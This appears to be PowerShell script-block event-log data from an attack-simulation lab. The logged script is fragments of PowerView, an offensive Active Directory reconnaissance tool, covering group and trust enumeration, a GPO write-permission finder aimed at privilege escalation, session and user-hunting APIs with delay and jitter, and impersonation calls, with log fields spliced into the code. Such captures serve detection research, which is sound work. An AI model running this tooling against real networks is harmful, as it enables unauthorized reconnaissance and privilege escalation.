# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
# }
# else {
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
# }
$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
$ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
$ManagedGroup
}
}
}
function Get-DomainGroupMember {
<#
.SYNOPSIS
Return the members of a specific domain group.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for the specified
group matching the criteria. Each result is then rebound and the full user
or group object is returned.
.PARAMETER Identity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to query for. Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Recurse
Switch. If the group member is a group, recursively try to query its members as well.
.PARAMETER RecurseUsingMatchingRule
Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
Much faster than manual recursion, but doesn't reveal cross-domain groups,
and only returns user accounts (no nested group objects themselves).
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMember "Desktop Admins"
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
'Desktop Admins' | Get-DomainGroupMember -Recurse
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Testing Group
GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
.EXAMPLE
'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'dev\domain admins' | Get-DomainGroupMember -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
GroupDomain : dev.testlab.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : user1
MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
GroupDomain : dev.testlab.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
.OUTPUTS
PowerView.GroupMember
Custom PSObject with translated group member property fields.
.LINK
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GroupMember')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(ParameterSetName = 'ManualRecurse')]
[Switch]
$Recurse,
[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
[Switch]
$RecurseUsingMatchingRule,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'member,samaccountname,distinguishedname'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if ($GroupSearcher) {
if ($PSBoundParameters['RecurseUsingMatchingRule']) {
$SearcherArguments['Identity'] = $Identity
$SearcherArguments['Raw'] = $True
$Group = Get-DomainGroup @SearcherArguments
if (-not $Group) {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
}
else {
$GroupFoundName = $Group.properties.item('samaccountname')[0]
$GroupFoundDN = $Group.properties.item('distinguishedname')[0]
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0187789Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5152 Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the trusts for this domain
$DomainTrustArguments['Domain'] = $Domain
$Trusts = Get-DomainTrust @DomainTrustArguments
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
if ($PsCmdlet.ParameterSetName -eq 'NET') {
$ForestTrustArguments = @{}
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
$Trusts += Get-ForestTrust @ForestTrustArguments
}
if ($Trusts) {
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
if ($Trust.SourceName -and $Trust.TargetName) {
# make sure we process the target
$Null = $Domains.Push($Trust.TargetName)
$Trust
}
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
function Get-GPODelegation {
<#
.SYNOPSIS
Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
Author: Itamar Mizrahi (@MrAnde7son)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER GPOName
The GPO display name to query for, wildcards accepted.
.PARAMETER PageSize
Specifies the PageSize to set for the LDAP searcher object.
.EXAMPLE
Get-GPODelegation
Returns all GPO delegations in current forest.
.EXAMPLE
Get-GPODelegation -GPOName
Returns all GPO delegations on a given GPO.
#>
[CmdletBinding()]
Param (
[String]
$GPOName = '*',
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupM88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187782Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4452am($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
